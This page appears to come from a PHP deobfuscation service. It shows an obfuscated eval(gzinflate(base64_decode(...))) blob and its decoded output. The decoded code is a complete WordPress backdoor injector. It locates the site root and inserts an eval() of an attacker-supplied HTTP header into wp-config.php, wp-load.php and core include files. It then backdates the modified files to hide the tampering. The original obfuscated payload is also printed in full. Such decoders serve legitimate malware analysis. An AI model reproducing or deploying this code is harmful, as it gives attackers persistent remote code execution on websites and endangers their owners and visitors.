Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode('rVZ5U+JIFP+fqvkObRVOwsA6oKu7FuXujgqCzqqFjiDCUKHzkJakE9MdDh39..
Decoded Output download
define('CURRENTDIR', getcwd());
$rootDir = detectWProotDir();
if (!$rootDir) {
echo 'invalid detect rootDir' . PHP_EOL;
exit;
}
backCheckWrite(backTarget(), $rootDir);
backCheckWrite(additionalTarget(), $rootDir, true);
function backCheckWrite ($backTarget, $rootDir, $noBreak = false) {
foreach ($backTarget as $path => $regex) {
$fullPath = $rootDir . '/' . $path;
$source = file_get_contents($fullPath);
if (!$source) {
continue;
}
if (detectString($source)) {
echo sprintf('code already exists %s', $path) . PHP_EOL;
if ($noBreak){
continue;
}
break;
}
if (is_writeable(dirname($fullPath))) {
$deleteFileBeforeUpdate = 1;
}
if (!is_writeable($fullPath) && !is_writeable(dirname($fullPath))) {
echo sprintf('not writeable %s', $path) . PHP_EOL;
continue;
}
if (!preg_match($regex, $source, $matches)) {
echo sprintf('not matches in %s', $path) . PHP_EOL;
continue;
}
$newSource = str_replace($matches[0], hqBack() . PHP_EOL . $matches[0], $source);
if (!detectString($newSource)) {
echo sprintf('incorrect record %s', $path) . PHP_EOL;
continue;
}
$filemtime = filemtime($fullPath) + 10;
if ($deleteFileBeforeUpdate) {
unlink($fullPath);
}
if (file_put_contents($fullPath, $newSource)) {
echo sprintf('%s success', $path) . PHP_EOL;
touch($fullPath, $filemtime);
if (function_exists('opcache_invalidate')) {
opcache_invalidate($fullPath);
}
if ($noBreak) {
continue;
}
break;
} else {
echo sprintf('invalid write to %s', $path) . PHP_EOL;
}
}
}
function detectString($source) {
if (strstr($source, systemEnv()) !== false) {
return true;
}
return false;
}
function systemEnv() {
return 'D2698E2';
}
function hqBack() {
return sprintf('eval($_SERVER[\'HTTP_%s\']);', systemEnv());
}
function additionalTarget() {
$arr = [
'wp-load.php' => '~^\s*if.+?file_exists.+?wp-config.php[^\{]+\{~m',
'wp-config.php' => '~^\s*require_once.+?wp-settings.php[^;]+;~m',
];
return $arr;
}
function backTarget() {
return json_decode(base64_decode('eyJ3cC1pbmNsdWRlc1wvZm9ybWF0dGluZy5waHAiOiJ+XlxccypmdW5jdGlvblxccyt3cHRleHR1cml6ZV9wcmltZXN+bSIsIndwLWluY2x1ZGVzXC90ZW1wbGF0ZS1sb2FkZXIucGhwIjoifl5cXHMqaWYuKmlzX3JvYm90c1teXFx7fFxcOl0rKFxce3w6KX5tIn0='), 1);
}
function moveTop(&$array, $key) {
$temp = array($key => $array[$key]);
unset($array[$key]);
$array = $temp + $array;
}
function detectWProotDir() {
if (file_exists(CURRENTDIR . '/wp-config.php')) {
return CURRENTDIR;
}
$normalizePath = preg_replace('~\/(wp-admin|wp-includes|wp-content).*$~', '', CURRENTDIR);
if (file_exists($normalizePath . '/wp-config.php')) {
return $normalizePath;
}
return null;
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode('rVZ5U+JIFP+fqvkObRVOwsA6oKu7FuXujgqCzqqFjiDCUKHzkJakE9MdDh397Ps6BySIpbM1XR7p7t+7r86YMGAcdO3gW6NROb08rDe0ArkFSSemnsuVM1nPceQh88geMUEClc3z6ETH2wwbEH0txuTIY4bgAjp0iMb42LCYGZGRCKORDXJeO+9Vzr6WQ/CUyXLmKZPJ9A06OhgCHTU9JkFX20vDQ130XIHMZZSXcYZpMskcblgv0QUiPR+UogOfU4UiaWqiZxdyknRZ7ux7YIzQ7oFhCYhtGzh4SocpOmIIknUNOSR7fyELuIWpggd4tbID37LOg/u5BHSD9lk5IyAsL7DC8T0KSiyzoIfce9ThErgU+pyPMigmCCMQUsVKxktRMu7Dgv1TmjCMzYX0GL/VYybLXIJwChcxcqBr1DGBGBZ6wZyp4AkpyLrApAkMySXDm+KixMVOzaUFrFZ1SV21+or4VWOY6E1UTI2+BbrJPG7YkPDZC7uyJlhofxX9vA8qrt9c05DK9aVXZaylhCyYk48fydrPKpB2LHckmZO/5tKfiu6ai7nYsw1Jh3qYloU4v/AjOAfxDq0iJGH8f6u1yG8Ok4s4xYX0eh64lkHRT5GUm2K3QIb3+1hdekKGqpQkIk7W5UpIZ/Rc2BtWMk4dzwvaFOCX+QvsVOVrS2bHpRx8JzMmT0rFJe1fychl3X1uMT5KtYNXMiDoIa6/qocUyLu9sy6I8CkF8bZTpOOrZEsImdueW9EQ4q7cCxuJrjkuxe4KvWh4oPHaC+XUeolb6Y4VPSTVh8gvakQEcES8kWHhNAwqHN30VoY9ZcK/T4nRtbJbR1KVWVhO+KPPS1zMhAS7wsc4ycna3tIkU8sD6Xs8GJLlzEJsdBzAyykVEiwjNhFWO9zc2f2zsqml8fNCToHnXvkH0Ct6tndRaVxVGjcdrXZ5ed5bFx2tmytraQvSjF9O/UhE1vDUY+VmbqM2cX+zHMPccIeupia09vy9Iz6xwUb+76A+wtzDHQIx+gN2q6A33zuP3Xzn8dnWCileC0iCmwf3PvOg53AKIScBEvPoVoS8yt18ec6pG1VC5A2lcdq45NOHPH7IRMA7gZVigprA+DoSsPN7vNNgdrxFD0pu3z4VZrNh0dJk3LZ3Z/1mtWgeWX57tj0xal/YGTvOt6wppTPXNpvbd3g37gd7uUVrDQtqjRK1rZ321e4E/8t26zTfv6iLOjcnX5uWf705LbWPrh5aB7vFdrM06R9Vi+2LkuhvVkftVt2nR8NJ/c5hA2ubtmr/3hvNa//Eth5aW8fja3u3SEsSWtXpH4PqlJ5ZRe8E/8PWZOektS3rvLin4eOtlCt/SLnDdsZw6bj6R+UpY4ZlM4LZPN6YIC4GPLjS1U3wCgu2N2rbjfqBzzEk+oqL8Ei9zQJW+eggfJQuFV/i9ZsovEQa6YuHdPDESydMbkXxLQiSJYgtyrOxYzxA9HAMZnk8LLXnzmcdWRumzfgP/MABZvkmiB+hPNXrcxufss9YQxr+LmRENi9rvSTufZqniWLtk6nNsSUrP/4H')));
Function Calls
gzinflate | 1 |
base64_decode | 1 |
Stats
MD5 | cc94c493cfe51aad1792161e645346c7 |
Eval Count | 1 |
Decode Time | 76 ms |